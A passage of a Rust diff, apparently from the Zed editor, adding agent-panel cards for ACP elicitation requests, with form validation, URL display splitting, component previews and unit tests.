+    pub(crate) fn set_multi_select(&mut self, field_name: &str, value: String, selected: bool) {
+        if let Some(ElicitationFieldState::MultiSelect(values)) = self.fields.get_mut(field_name) {
+            if selected {
+                values.insert(value);
+            } else {
+                values.remove(&value);
+            }
+            self.field_errors.remove(field_name);
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::TestAppContext;
+
+    #[test]
+    fn string_validation_rejects_email_format_mismatch() {
+        let schema = acp::StringPropertySchema::email();
+
+        validate_string_value("Email".into(), &schema, "user@example.com")
+            .expect("valid email should be accepted");
+        assert_eq!(
+            validate_string_value("Email".into(), &schema, "not-an-email")
+                .expect_err("invalid email should be rejected")
+                .to_string(),
+            "Email must be an email address"
+        );
+    }
+
+    #[test]
+    fn string_validation_rejects_pattern_mismatch() {
+        let schema = acp::StringPropertySchema::new().pattern("^prod-[0-9]+$");
+
+        validate_string_value("Environment".into(), &schema, "prod-42")
+            .expect("matching pattern should be accepted");
+        assert_eq!(
+            validate_string_value("Environment".into(), &schema, "dev-42")
+                .expect_err("pattern mismatch should be rejected")
+                .to_string(),
+            "Environment does not match the requested pattern"
+        );
+    }
+
+    #[test]
+    fn number_validation_rejects_non_finite_values() {
+        let schema = acp::NumberPropertySchema::new();
+
+        assert_eq!(
+            validate_number_value("Amount".into(), &schema, "42.5")
+                .expect("finite number should be accepted"),
+            42.5
+        );
+
+        for value in ["NaN", "inf", "-inf", "1e309"] {
+            assert_eq!(
+                validate_number_value("Amount".into(), &schema, value)
+                    .expect_err("non-finite number should be rejected")
+                    .to_string(),
+                "Amount must be a finite number"
+            );
+        }
+    }
+
+    #[test]
+    fn should_render_pending_and_accepted_url_elicitations() {
+        let pending = Elicitation {
+            id: ElicitationEntryId("pending".into()),
+            request: acp::CreateElicitationRequest::new(
+                acp::ElicitationFormMode::new(
+                    preview_request_scope(0),
+                    acp::ElicitationSchema::new(),
+                ),
+                "Review this request.",
+            ),
+            status: pending_status(),
+        };
+        assert!(should_render_elicitation(&pending));
+
+        let accepted_url = Elicitation {
+            id: ElicitationEntryId("accepted-url".into()),
+            request: acp::CreateElicitationRequest::new(
+                acp::ElicitationUrlMode::new(
+                    preview_request_scope(1),
+                    acp::ElicitationId::new("accepted-url"),
+                    "https://auth.example.com/device",
+                ),
+                "Authorize Zed in your browser.",
+            ),
+            status: ElicitationStatus::Accepted,
+        };
+        assert!(should_render_elicitation(&accepted_url));
+
+        let accepted_form = Elicitation {
+            id: ElicitationEntryId("accepted-form".into()),
+            request: acp::CreateElicitationRequest::new(
+                acp::ElicitationFormMode::new(
+                    preview_request_scope(2),
+                    acp::ElicitationSchema::new(),
+                ),
+                "Review this request.",
+            ),
+            status: ElicitationStatus::Accepted,
+        };
+        assert!(!should_render_elicitation(&accepted_form));
+    }
+
+    #[test]
+    fn display_url_segments_never_elide_url_characters() {
+        let url = format!(
+            "https://auth.example.com/oauth/authorize?state={}",
+            "a".repeat(MAX_URL_DISPLAY_SEGMENT_CHARS * 2)
+        );
+
+        let display_url_segments = display_url_segments(&url)
+            .into_iter()
+            .map(|segment| segment.to_string())
+            .collect::<Vec<_>>();
+        assert!(display_url_segments.len() > 1);
+        assert!(
+            !display_url_segments
+                .iter()
+                .any(|segment| segment.contains('…'))
+        );
+        assert!(
+            display_url_segments
+                .iter()
+                .all(|segment| segment.chars().count() <= MAX_URL_DISPLAY_SEGMENT_CHARS)
+        );
+        assert_eq!(display_url_segments.concat(), url);
+    }
+
+    #[test]
+    fn display_url_segments_use_larger_url_boundaries() {
+        let url = "https://auth.example.com/oauth/authorize?client_id=zed-desktop&scope=repository";
+
+        let display_url_segments = display_url_segments(url)
+            .into_iter()
+            .map(|segment| segment.to_string())
+            .collect::<Vec<_>>();
+        assert_eq!(display_url_segments.concat(), url);
+        assert_eq!(display_url_segments[0], "https://auth.example.com/");
+        assert!(
+            display_url_segments
+                .iter()
+                .any(|segment| segment.ends_with('?'))
+        );
+        assert!(
+            display_url_segments
+                .iter()
+                .any(|segment| segment.ends_with('&'))
+        );
+    }
+
+    #[gpui::test]
+    fn form_state_preserves_string_whitespace(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().property(
+                "token",
+                acp::StringPropertySchema::new()
+                    .title("Token")
+                    .default_value("  secret  "),
+                true,
+            );
+            let form_state = ElicitationFormState::new(&schema, window, cx);
+            let content = form_state
+                .collect(&schema, cx)
+                .expect("string with whitespace should be submitted");
+
+            assert_eq!(
+                content.get("token"),
+                Some(&acp::ElicitationContentValue::String(
+                    "  secret  ".to_string()
+                ))
+            );
+
+            Editor::single_line(window, cx)
+        });
+    }
+
+    #[gpui::test]
+    fn form_state_discards_invalid_optional_single_select_default(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().property(
+                "environment",
+                acp::StringPropertySchema::new()
+                    .title("Environment")
+                    .enum_values(vec!["production".to_string(), "staging".to_string()])
+                    .default_value("development"),
+                false,
+            );
+            let form_state = ElicitationFormState::new(&schema, window, cx);
+            let content = form_state
+                .collect(&schema, cx)
+                .expect("invalid optional default should be ignored");
+
+            assert_eq!(content.get("environment"), None);
+
+            Editor::single_line(window, cx)
+        });
+    }
+
+    #[gpui::test]
+    fn form_state_replaces_invalid_required_single_select_default(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().property(
+                "environment",
+                acp::StringPropertySchema::new()
+                    .title("Environment")
+                    .enum_values(vec!["production".to_string(), "staging".to_string()])
+                    .default_value("development"),
+                true,
+            );
+            let form_state = ElicitationFormState::new(&schema, window, cx);
+            let content = form_state
+                .collect(&schema, cx)
+                .expect("required select should use the first valid choice");
+
+            assert_eq!(
+                content.get("environment"),
+                Some(&acp::ElicitationContentValue::String(
+                    "production".to_string()
+                ))
+            );
+
+            Editor::single_line(window, cx)
+        });
+    }
+
+    #[gpui::test]
+    fn form_state_rejects_invalid_single_select_value(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().property(
+                "environment",
+                acp::StringPropertySchema::new()
+                    .title("Environment")
+                    .enum_values(vec!["production".to_string(), "staging".to_string()]),
+                false,
+            );
+            let mut form_state = ElicitationFormState::new(&schema, window, cx);
+            form_state.set_single_select("environment", "development".to_string());
+
+            let errors = form_state
+                .collect(&schema, cx)
+                .expect_err("invalid selected value should be rejected");
+            assert_eq!(
+                errors
+                    .get("environment")
+                    .expect("environment should have an error")
+                    .to_string(),
+                "Environment must be one of the provided options"
+            );
+
+            Editor::single_line(window, cx)
+        });
+    }
+
+    #[gpui::test]
+    fn form_state_reports_all_validation_errors(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new()
+                .string("account", true)
+                .property(
+                    "age",
+                    acp::IntegerPropertySchema::new().title("Age").minimum(18),
+                    true,
+                )
+                .property(
+                    "environment",
+                    acp::StringPropertySchema::new()
+                        .title("Environment")
+                        .enum_values(vec!["production".to_string(), "staging".to_string()]),
+                    false,
+                );
+            let mut form_state = ElicitationFormState::new(&schema, window, cx);
+            if let Some(ElicitationFieldState::Text(editor)) = form_state.fields.get("age") {
+                editor.update(cx, |editor, cx| editor.set_text("abc", window, cx));
+            }
+            form_state.set_single_select("environment", "development".to_string());
+
+            let errors = form_state
+                .collect(&schema, cx)
+                .expect_err("all invalid fields should be reported");
+            assert_eq!(
+                errors
+                    .get("account")
+                    .expect("account should have an error")
+                    .to_string(),
+                "account is required"
+            );
+            assert_eq!(
+                errors
+                    .get("age")
+                    .expect("age should have an error")
+                    .to_string(),
+                "Age must be an integer"
+            );
+            assert_eq!(
+                errors
+                    .get("environment")
+                    .expect("environment should have an error")
+                    .to_string(),
+                "Environment must be one of the provided options"
+            );
+
+            Editor::single_line(window, cx)
+        });
+    }
+}
+
+#[derive(RegisterComponent)]
+pub struct ElicitationCardPreview;
+
+impl Component for ElicitationCardPreview {
+    fn scope() -> ComponentScope {
+        ComponentScope::Agent
+    }
+
+    fn description() -> &'static str {
+        "ACP elicitation request cards as rendered in the agent panel."
+    }
+
+    fn preview(window: &mut Window, cx: &mut App) -> AnyElement {
+        v_flex()
+            .gap_6()
+            .children([
+                example_group_with_title(
+                    "Form Requests",
+                    vec![
+                        single_example(
+                            "Pending Form",
+                            render_form_preview(0, pending_status(), &[], window, cx),
+                        )
+                        .width(px(640.)),
+                        single_example(
+                            "Validation Errors",
+                            render_form_preview(
+                                1,
+                                pending_status(),
+                                &[
+                                    ("account_name", "Account name is required"),
+                                    ("environment", "Choose an environment"),
+                                    ("scopes", "Choose at least one access scope"),
+                                ],
+                                window,
+                                cx,
+                            ),
+                        )
+                        .width(px(640.)),
+                    ],
+                )
+                .vertical()
+                .into_any_element(),
+                example_group_with_title(
+                    "URL Requests",
+                    vec![
+                        single_example(
+                            "URL Consent",
+                            render_url_preview(3, pending_status(), window, cx),
+                        )
+                        .width(px(640.)),
+                    ],
+                )
+                .vertical()
+                .into_any_element(),
+                example_group_with_title(
+                    "Terminal States",
+                    vec![
+                        single_example(
+                            "Declined",
+                            render_form_preview(6, ElicitationStatus::Declined, &[], window, cx),
+                        )
+                        .width(px(640.)),
+                        single_example(
+                            "Canceled",
+                            render_form_preview(7, ElicitationStatus::Canceled, &[], window, cx),
+                        )
+                        .width(px(640.)),
+                    ],
+                )
+                .vertical()
+                .into_any_element(),
+            ])
+            .into_any_element()
+    }
+}
+
+fn render_form_preview(
+    entry_ix: usize,
+    status: ElicitationStatus,
+    field_errors: &[(&'static str, &'static str)],
+    window: &mut Window,
+    cx: &mut App,
+) -> AnyElement {
+    let request = acp::CreateElicitationRequest::new(
+        acp::ElicitationFormMode::new(preview_request_scope(entry_ix), preview_form_schema()),
+        "Choose how Zed should connect to this account.",
+    );
+    let mut form_state = matches!(status, ElicitationStatus::Pending { .. }).then(|| {
+        let acp::ElicitationMode::Form(mode) = &request.mode else {
+            unreachable!();
+        };
+        ElicitationFormState::new(&mode.requested_schema, window, cx)
+    });
+    if let Some(form_state) = &mut form_state {
+        for (field_name, error) in field_errors {
+            form_state.set_field_error(*field_name, *error);
+        }
+    }
+
+    render_preview_card(entry_ix, request, status, form_state.as_ref(), cx)
+}
+
+fn preview_url() -> &'static str {
+    "https://auth.example.com/oauth/authorize?client_id=zed-desktop&redirect_uri=zed%3A%2F%2Fagent%2Facp%2Fcallback&scope=profile%20repository%20terminal&state=9b8b0a873a1e4b57b7f9f7b6d2d3d0f4"
+}
+
+fn render_url_preview(
+    entry_ix: usize,
+    status: ElicitationStatus,
+    _window: &mut Window,
+    cx: &mut App,
+) -> AnyElement {
+    let request = acp::CreateElicitationRequest::new(
+        acp::ElicitationUrlMode::new(
+            preview_request_scope(entry_ix),
+            acp::ElicitationId::new(format!("preview-url-{entry_ix}")),
+            preview_url(),
+        ),
+        "Authorize Zed in your browser to finish signing in.",
+    );
+
+    render_preview_card(entry_ix, request, status, None, cx)
+}
+
+fn render_preview_card(
+    entry_ix: usize,
+    request: acp::CreateElicitationRequest,
+    status: ElicitationStatus,
+    form_state: Option<&ElicitationFormState>,
+    cx: &App,
+) -> AnyElement {
+    let elicitation = Elicitation {
+        id: ElicitationEntryId(format!("preview-elicitation-{entry_ix}").into()),
+        request,
+        status,
+    };
+
+    div()
+        .w_full()
+        .max_w(px(640.))
+        .child(
+            ElicitationCard::new(
+                entry_ix,
+                &elicitation,
+                form_state,
+                ElicitationCardHandlers::noop(),
+            )
+            .render(cx),
+        )
+        .into_any_element()
+}
+
+fn pending_status() -> ElicitationStatus {
+    let (respond_tx, _response_rx) = oneshot::channel();
+    ElicitationStatus::Pending { respond_tx }
+}
+
+fn preview_request_scope(index: usize) -> acp::ElicitationRequestScope {
+    acp::ElicitationRequestScope::new(acp::RequestId::Number(index as i64))
+}
+
+fn preview_form_schema() -> acp::ElicitationSchema {
+    acp::ElicitationSchema::new()
+        .property(
+            "account_name",
+            acp::StringPropertySchema::new()
+                .title("Account Name")
+                .description("Used to label this connection in the agent panel.")
+                .default_value("Work"),
+            true,
+        )
+        .property(
+            "environment",
+            acp::StringPropertySchema::new()
+                .title("Environment")
+                .description("Select the environment this credential should target.")
+                .one_of(vec![
+                    acp::EnumOption::new("production", "Production"),
+                    acp::EnumOption::new("staging", "Staging"),
+                    acp::EnumOption::new("development", "Development"),
+                ])
+                .default_value("staging"),
+            true,
+        )
+        .property(
+            "scopes",
+            acp::MultiSelectPropertySchema::titled(vec![
+                acp::EnumOption::new("profile", "Profile"),
+                acp::EnumOption::new("repository", "Repository Access"),
+                acp::EnumOption::new("terminal", "Terminal Commands"),
+            ])
+            .title("Access")
+            .description("Choose what the agent can use for this authorization.")
+            .min_items(1)
+            .default_value(vec!["profile".to_string(), "repository".to_string()]),
+            true,
+        )
+        .property(
+            "remember",
+            acp::BooleanPropertySchema::new()
+                .title("Remember Authorization")
+                .description("Store this authorization for future sessions.")
+                .default_value(true),
+            false,
+        )
+}
+
+fn single_select_options(schema: &acp::StringPropertySchema) -> Vec<ElicitationOption> {
+    if let Some(options) = &schema.one_of {
+        return options
+            .iter()
+            .map(|option| ElicitationOption {
+                value: option.value.clone(),
+                label: SharedString::from(option.title.clone()),
+            })
+            .collect();
+    }
+
+    schema
+        .enum_values
+        .as_deref()
+        .unwrap_or_default()
+        .iter()
+        .map(|value| ElicitationOption {
+            value: value.clone(),
+            label: SharedString::from(value.clone()),
+        })
+        .collect()
+}
+
+fn single_select_default_value(
+    schema: &acp::StringPropertySchema,
+    options: &[ElicitationOption],
+) -> Option<String> {
+    schema
+        .default
+        .as_ref()
+        .filter(|default| {
+            options
+                .iter()
+                .any(|option| option.value.as_str() == default.as_str())
+        })
+        .cloned()
+}
+
+fn multi_select_options(schema: &acp::MultiSelectPropertySchema) -> Vec<ElicitationOption> {
+    match &schema.items {
+        acp::MultiSelectItems::Untitled(items) => items
+            .values
+            .iter()
+            .map(|value| ElicitationOption {
+                value: value.clone(),
+                label: SharedString::from(value.clone()),
+            })
+            .collect(),
+        acp::MultiSelectItems::Titled(items) => items
+            .options
+            .iter()
+            .map(|option| ElicitationOption {
+                value: option.value.clone(),
+                label: SharedString::from(option.title.clone()),
+            })
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+fn validate_number_value(
+    title: SharedString,
+    schema: &acp::NumberPropertySchema,
+    value: &str,
+) -> Result<f64, SharedString> {
+    let parsed = value
+        .parse::<f64>()
+        .map_err(|_| SharedString::from(format!("{title} must be a number")))?;
+    if !parsed.is_finite() {
+        return Err(format!("{title} must be a finite number").into());
+    }
+    if let Some(minimum) = schema.minimum
+        && parsed < minimum
+    {
+        return Err(format!("{title} must be at least {minimum}").into());
+    }
+    if let Some(maximum) = schema.maximum
+        && parsed > maximum
+    {
+        return Err(format!("{title} must be at most {maximum}").into());
+    }
+
+    Ok(parsed)
+}
+
+fn validate_integer_value(
+    title: SharedString,
+    schema: &acp::IntegerPropertySchema,
+    value: &str,
+) -> Result<i64, SharedString> {
+    let parsed = value
+        .parse::<i64>()
+        .map_err(|_| SharedString::from(format!("{title} must be an integer")))?;
+    if let Some(minimum) = schema.minimum
+        && parsed < minimum
+    {
+        return Err(format!("{title} must be at least {minimum}").into());
+    }
+    if let Some(maximum) = schema.maximum
+        && parsed > maximum
+    {
+        return Err(format!("{title} must be at most {maximum}").into());
+    }
+
+    Ok(parsed)
+}
+
+fn validate_string_value(
+    title: SharedString,
+    schema: &acp::StringPropertySchema,
+    value: &str,
+) -> Result<(), SharedString> {
+    let length = value.chars().count();
+    if schema
+        .min_length
+        .is_some_and(|min_length| length < min_length as usize)
+    {
+        return Err(format!("{title} is too short").into());
+    }
+    if schema
+        .max_length
+        .is_some_and(|max_length| length > max_length as usize)
+    {
+        return Err(format!("{title} is too long").into());
+    }
+
+    validate_string_pattern_and_format(title, schema, value)
+}
+
+fn validate_single_select_value(
+    title: SharedString,
+    schema: &acp::StringPropertySchema,
+    value: &str,
+) -> Result<(), SharedString> {
+    let options = single_select_options(schema);
+    if options.iter().any(|option| option.value.as_str() == value) {
+        Ok(())
+    } else {
+        Err(format!("{title} must be one of the provided options").into())
+    }
+}
+
+fn validate_string_pattern_and_format(
+    title: SharedString,
+    schema: &acp::StringPropertySchema,
+    value: &str,
+) -> Result<(), SharedString> {
+    if schema.pattern.is_none() && schema.format.and_then(string_format_json_name).is_none() {
+        return Ok(());
+    }
+
+    let mut validation_schema = serde_json::Map::new();
+    validation_schema.insert(
+        "type".to_string(),
+        serde_json::Value::String("string".into()),
+    );
+    if let Some(pattern) = &schema.pattern {
+        validation_schema.insert(
+            "pattern".to_string(),
+            serde_json::Value::String(pattern.clone()),
+        );
+    }
+    if let Some(format) = schema.format.and_then(string_format_json_name) {
+        validation_schema.insert(
+            "format".to_string(),
+            serde_json::Value::String(format.into()),
+        );
+    }
+
+    let validation_schema = serde_json::Value::Object(validation_schema);
+    let validator = jsonschema::options()
+        .should_validate_formats(true)
+        .build(&validation_schema)
+        .map_err(|_| {
+            if schema.pattern.is_some() {
+                format!("{title} has an invalid validation pattern")
+            } else {
+                format!("{title} has an invalid validation format")
+            }
+        })?;
+    if validator.is_valid(&serde_json::Value::String(value.to_string())) {
+        return Ok(());
+    }
+
+    match (
+        schema.pattern.is_some(),
+        schema.format.and_then(string_format_label),
+    ) {
+        (true, Some(_)) => Err(format!("{title} does not match the requested constraints").into()),
+        (true, None) => Err(format!("{title} does not match the requested pattern").into()),
+        (false, Some(format)) => Err(format!("{title} must be {format}").into()),
+        (false, None) => Ok(()),
+    }
+}
+
+fn string_format_json_name(format: acp::StringFormat) -> Option<&'static str> {
+    match format {
+        acp::StringFormat::Email => Some("email"),
+        acp::StringFormat::Uri => Some("uri"),
+        acp::StringFormat::Date => Some("date"),
+        acp::StringFormat::DateTime => Some("date-time"),
+        _ => None,
+    }
+}
+
+fn string_format_label(format: acp::StringFormat) -> Option<&'static str> {
+    match format {
+        acp::StringFormat::Email => Some("an email address"),
+        acp::StringFormat::Uri => Some("a URI"),
+        acp::StringFormat::Date => Some("a date"),
+        acp::StringFormat::DateTime => Some("a date and time"),
+        _ => None,
+    }
+}
+
+fn property_title(name: &str, property: &acp::ElicitationPropertySchema) -> SharedString {
+    let title = match property {
+        acp::ElicitationPropertySchema::String(schema) => schema.title.as_deref(),
+        acp::ElicitationPropertySchema::Number(schema) => schema.title.as_deref(),
+        acp::ElicitationPropertySchema::Integer(schema) => schema.title.as_deref(),
+        acp::ElicitationPropertySchema::Boolean(schema) => schema.title.as_deref(),
+        acp::ElicitationPropertySchema::Array(schema) => schema.title.as_deref(),
+        _ => None,
+    };
+    SharedString::from(title.unwrap_or(name).to_string())
+}
+
+fn property_description(property: &acp::ElicitationPropertySchema) -> Option<SharedString> {
+    match property {
+        acp::ElicitationPropertySchema::String(schema) => schema.description.clone(),
+        acp::ElicitationPropertySchema::Number(schema) => schema.description.clone(),
+        acp::ElicitationPropertySchema::Integer(schema) => schema.description.clone(),
+        acp::ElicitationPropertySchema::Boolean(schema) => schema.description.clone(),
+        acp::ElicitationPropertySchema::Array(schema) => schema.description.clone(),
+        _ => None,
+    }
+    .map(SharedString::from)
+}
+
+type RespondHandler = Rc<dyn Fn(ElicitationEntryId, &mut Window, &mut App)>;
+type OpenUrlHandler = Rc<dyn Fn(ElicitationEntryId, String, &mut Window, &mut App)>;
+type BooleanHandler = Rc<dyn Fn(ElicitationEntryId, String, bool, &mut App)>;
+type SelectHandler = Rc<dyn Fn(ElicitationEntryId, String, String, &mut App)>;
+type MultiSelectHandler = Rc<dyn Fn(ElicitationEntryId, String, String, bool, &mut App)>;
+
+#[derive(Clone)]
+pub(crate) struct ElicitationCardHandlers {
+    on_submit: RespondHandler,
+    on_decline: RespondHandler,
+    on_cancel: RespondHandler,
+    on_open_url: OpenUrlHandler,
+    on_boolean_change: BooleanHandler,
+    on_single_select_change: SelectHandler,
+    on_multi_select_change: MultiSelectHandler,
+}
+
+impl ElicitationCardHandlers {
+    pub(crate) fn new(
+        on_submit: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
+        on_decline: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
+        on_cancel: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
+        on_open_url: impl Fn(ElicitationEntryId, String, &mut Window, &mut App) + 'static,
+        on_boolean_change: impl Fn(ElicitationEntryId, String, bool, &mut App) + 'static,
+        on_single_select_change: impl Fn(ElicitationEntryId, String, String, &mut App) + 'static,
+        on_multi_select_change: impl Fn(ElicitationEntryId, String, String, bool, &mut App) + 'static,
+    ) -> Self {
+        Self {
+            on_submit: Rc::new(on_submit),
+            on_decline: Rc::new(on_decline),
+            on_cancel: Rc::new(on_cancel),
+            on_open_url: Rc::new(on_open_url),
+            on_boolean_change: Rc::new(on_boolean_change),
+            on_single_select_change: Rc::new(on_single_select_change),
+            on_multi_select_change: Rc::new(on_multi_select_change),
+        }
+    }
+
+    pub(crate) fn noop() -> Self {
+        Self::new(
+            |_, _, _| {},
+            |_, _, _| {},
+            |_, _, _| {},
+            |_, _, _, _| {},
+            |_, _, _, _| {},
+            |_, _, _, _| {},
+            |_, _, _, _, _| {},
+        )
+    }
+}
+
+pub(crate) fn should_render_elicitation(elicitation: &Elicitation) -> bool {
+    matches!(
+        (&elicitation.status, &elicitation.request.mode),
+        (ElicitationStatus::Pending { .. }, _)
+            | (ElicitationStatus::Accepted, acp::ElicitationMode::Url(_))
+    )
+}
+
+const MIN_URL_DISPLAY_SEGMENT_CHARS: usize = 16;
+const MAX_URL_DISPLAY_SEGMENT_CHARS: usize = 64;
+
+fn display_url_segments(url: &str) -> Vec<SharedString> {
+    let mut segments = Vec::new();
+    let mut segment = String::new();
+    let mut segment_chars = 0;
+    let mut characters = url.chars().peekable();
+
+    while let Some(character) = characters.next() {
+        segment.push(character);
+        segment_chars += 1;
+
+        let should_split_at_boundary = segment_chars >= MIN_URL_DISPLAY_SEGMENT_CHARS
+            && is_url_display_segment_boundary(character);
+        let should_split_at_length = segment_chars >= MAX_URL_DISPLAY_SEGMENT_CHARS;
+
+        if characters.peek().is_some() && (should_split_at_boundary || should_split_at_length) {
+            segments.push(std::mem::take(&mut segment).into());
+            segment_chars = 0;
+        }
+    }
+
+    if !segment.is_empty() {
+        segments.push(segment.into());
+    }
+
+    segments
+}
+
+fn is_url_display_segment_boundary(character: char) -> bool {
+    matches!(character, '/' | '?' | '&' | '#')
+}
+
+pub(crate) struct ElicitationCard<'a> {
+    entry_ix: usize,
+    elicitation: &'a Elicitation,
+    form_state: Option<&'a ElicitationFormState>,
+    handlers: ElicitationCardHandlers,
+}
+
+impl<'a> ElicitationCard<'a> {
+    pub(crate) fn new(
+        entry_ix: usize,
+        elicitation: &'a Elicitation,
+        form_state: Option<&'a ElicitationFormState>,
+        handlers: ElicitationCardHandlers,
+    ) -> Self {
+        Self {
+            entry_ix,
+            elicitation,
+            form_state,
+            handlers,
+        }
+    }
+
+    pub(crate) fn render(self, cx: &App) -> Div {
+        let border_color = cx.theme().colors().border.opacity(0.8);
+        let header_background = cx
+            .theme()
+            .colors()
+            .element_background
+            .blend(cx.theme().colors().editor_foreground.opacity(0.025));
+        let tool_name_font_size = rems_from_px(13.);
+        let is_pending = matches!(&self.elicitation.status, ElicitationStatus::Pending { .. });
+        let is_accepted_url = matches!(
+            (&self.elicitation.status, &self.elicitation.request.mode),
+            (ElicitationStatus::Accepted, acp::ElicitationMode::Url(_))
+        );
+        let (status_label, status_icon, status_color) = match &self.elicitation.status {
+            ElicitationStatus::Pending { .. } => ("Waiting for input", IconName::Info, Color::Info),
+            ElicitationStatus::Accepted if is_accepted_url => {
+                ("Waiting for completion", IconName::Info, Color::Info)
+            }
+            ElicitationStatus::Accepted => ("Submitted", IconName::Check, Color::Success),
+            ElicitationStatus::Declined => ("Declined", IconName::Close, Color::Muted),
+            ElicitationStatus::Canceled => ("Canceled", IconName::Circle, Color::Muted),
+            ElicitationStatus::Completed => ("Completed", IconName::Check, Color::Success),
+        };
+
+        let body = v_flex()
+            .gap_2()
+            .p_3()
+            .child(Label::new(self.elicitation.request.message.clone()).size(LabelSize::Small));
+        let body = match &self.elicitation.request.mode {
+            acp::ElicitationMode::Form(mode) if is_pending => {
+                body.child(self.render_form(mode, cx))
+            }
+            acp::ElicitationMode::Url(mode) if is_pending || is_accepted_url => {
+                body.child(self.render_url_elicitation(mode))
+            }
+            _ => body,
+        };
+
+        v_flex()
+            .mx_5()
+            .my_1p5()
+            .rounded_md()
+            .border_1()
+            .border_color(border_color)
+            .overflow_hidden()
+            .child(
+                h_flex()
+                    .h_8()
+                    .p_1()
+                    .w_full()
+                    .justify_between()
+                    .bg(header_background)
+                    .child(
+                        h_flex()
+                            .min_w_0()
+                            .gap_1p5()
+                            .px_1()
+                            .child(
+                                Icon::new(status_icon)
+                                    .size(IconSize::Small)
+                                    .color(status_color),
+                            )
+                            .child(
+                                Label::new("Input Requested")
+                                    .size(LabelSize::Custom(tool_name_font_size))
+                                    .truncate(),
+                            ),
+                    )
+                    .child(
+                        Label::new(status_label)
+                            .size(LabelSize::Small)
+                            .color(Color::Muted),
+                    ),
+            )
+            .child(body)
+            .when(is_pending, |this| this.child(self.render_actions(cx)))
+    }
+
+    fn render_form(&self, mode: &acp::ElicitationFormMode, cx: &App) -> AnyElement {
+        let Some(state) = self.form_state else {
+            return Empty.into_any_element();
+        };
+
+        v_flex()
+            .gap_2()
+            .children(mode.requested_schema.properties.iter().filter_map(
+                |(field_name, property)| {
+                    let field = state.fields.get(field_name)?;
+                    Some(self.render_field(
+                        field_name,
+                        property,
+                        field,
+                        state.field_errors.get(field_name),
+                        cx,
+                    ))
+                },
+            ))
+            .into_any_element()
+    }
+
+    fn render_field(
+        &self,
+        field_name: &str,
+        property: &acp::ElicitationPropertySchema,
+        field: &ElicitationFieldState,
+        error: Option<&SharedString>,
+        cx: &App,
+    ) -> AnyElement {
+        let label = property_title(field_name, property);
+        let description = property_description(property);
+        let border_color = cx.theme().colors().border.opacity(0.8);
+        let field_border_color = if error.is_some() {
+            Color::Error.color(cx)
+        } else {
+            border_color
+        };
+        let editor_background = cx.theme().colors().editor_background;
+        let label_color = if error.is_some() {
+            Color::Error
+        } else {
+            Color::Default
+        };
+
+        if let ElicitationFieldState::Boolean(value) = field {
+            let checkbox_state = if *value {
+                ToggleState::Selected
+            } else {
+                ToggleState::Unselected
+            };
+            let next_value = !*value;
+            let on_boolean_change = self.handlers.on_boolean_change.clone();
+            let elicitation_id = self.elicitation.id.clone();
+            let field_name = field_name.to_string();
+            let row_id = format!("elicitation-bool-row-{}-{field_name}", self.entry_ix);
+            let checkbox_id = format!("elicitation-bool-{}-{field_name}", self.entry_ix);
+
+            return v_flex()
+                .gap_1()
+                .child(
+                    h_flex()
+                        .id(row_id)
+                        .w_full()
+                        .items_start()
+                        .gap_1()
+                        .cursor_pointer()
+                        .on_click(move |_, _window, cx| {
+                            on_boolean_change(
+                                elicitation_id.clone(),
+                                field_name.clone(),
+                                next_value,
+                                cx,
+                            );
+                        })
+                        .child(
+                            div()
+                                .mt_0p5()
+                                .child(Checkbox::new(checkbox_id, checkbox_state)),
+                        )
+                        .child(
+                            v_flex()
+                                .gap_0p5()
+                                .child(Label::new(label).size(LabelSize::Small).color(label_color))
+                                .when_some(description, |this, description| {
+                                    this.child(
+                                        Label::new(description)
+                                            .size(LabelSize::Small)
+                                            .color(Color::Muted),
+                                    )
+                                }),
+                        ),
+                )
+                .when_some(error.cloned(), |this, error| {
+                    this.child(Label::new(error).size(LabelSize::Small).color(Color::Error))
+                })
+                .into_any_element();
+        }
+
+        let label = if error.is_some() {
+            Label::new(label).size(LabelSize::Small).color(Color::Error)
+        } else {
+            Label::new(label).size(LabelSize::Small)
+        };
+
+        v_flex()
+            .gap_1()
+            .child(label)
+            .when_some(description, |this, description| {
+                this.child(
+                    Label::new(description)
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                )
+            })
+            .child(match field {
+                ElicitationFieldState::Text(editor) => div()
+                    .rounded_sm()
+                    .border_1()
+                    .border_color(field_border_color)
+                    .bg(editor_background)
+                    .px_1()
+                    .py_0p5()
+                    .text_xs()
+                    .child(editor.clone().into_any_element())
+                    .into_any_element(),
+                ElicitationFieldState::Boolean(_) => Empty.into_any_element(),
+                ElicitationFieldState::SingleSelect { value } => {
+                    let options = match property {
+                        acp::ElicitationPropertySchema::String(schema) => {
+                            single_select_options(schema)
+                        }
+                        _ => Vec::new(),
+                    };
+                    self.render_single_select(
+                        field_name,
+                        value.as_ref(),
+                        options,
+                        error.is_some(),
+                        cx,
+                    )
+                }
+                ElicitationFieldState::MultiSelect(selected) => {
+                    let options = match property {
+                        acp::ElicitationPropertySchema::Array(schema) => {
+                            multi_select_options(schema)
+                        }
+                        _ => Vec::new(),
+                    };
+                    v_flex()
+                        .gap_1()
+                        .children(options.into_iter().map(|option| {
+                            let is_selected = selected.contains(&option.value);
+                            let checkbox_state = if is_selected {
+                                ToggleState::Selected
+                            } else {
+                                ToggleState::Unselected
+                            };
+                            let row_background = Self::option_row_background(is_selected, cx);
+                            let hover_background =
+                                Self::option_row_hover_background(is_selected, cx);
+                            let on_multi_select_change =
+                                self.handlers.on_multi_select_change.clone();
+                            let elicitation_id = self.elicitation.id.clone();
+                            let field_name = field_name.to_string();
+                            let value = option.value.clone();
+                            let checkbox_id = format!(
